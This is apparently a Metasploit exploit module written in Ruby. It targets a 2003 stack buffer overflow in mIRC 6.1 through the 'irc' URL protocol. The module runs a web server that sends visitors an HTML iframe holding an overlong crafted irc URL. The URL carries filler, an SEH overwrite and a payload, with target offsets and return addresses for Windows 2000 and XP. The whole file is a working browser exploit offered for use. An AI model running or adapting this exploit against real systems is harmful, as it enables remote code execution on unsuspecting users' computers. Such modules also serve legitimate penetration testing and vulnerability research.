2006-11-03 19:35:42 +00:00
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require 'msf/core'
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module Msf
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class Exploits::Windows::Browser::Mirc_Irc_Url < Msf::Exploit::Remote
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2006-12-10 02:55:02 +00:00
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include Exploit::Remote::HttpServer::HTML
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2006-11-03 19:35:42 +00:00
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include Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'mIRC IRC URL Buffer Overflow',
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'Description' => %q{
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This module exploits a stack overflow in mIRC 6.1. By
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submitting an overly long and specially crafted URL to
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the 'irc' protocol, an attacker can overwrite the buffer
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and control program execution.
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},
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'License' => MSF_LICENSE,
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'Author' => 'MC',
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'Version' => '$Revision: 3653 $',
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'References' =>
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[
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[ 'BID', '8819' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 400,
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'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 2000 Pro English All', { 'Offset' => 1442, 'Ret' => 0x75022ac4 } ],
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[ 'Windows XP Pro SP0/SP1 English', { 'Offset' => 1414, 'Ret' => 0x71aa32ad } ],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Oct 13 2003',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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filler = Rex::Text.rand_text_alphanumeric(target['Offset'], payload_badchars)
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seh = generate_seh_payload(target.ret)
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sploit = filler + seh
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# Build the HTML content
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content = "<html><iframe src='irc://#{sploit}'></html>"
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print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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send_response(cli, content)
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end
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end
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end
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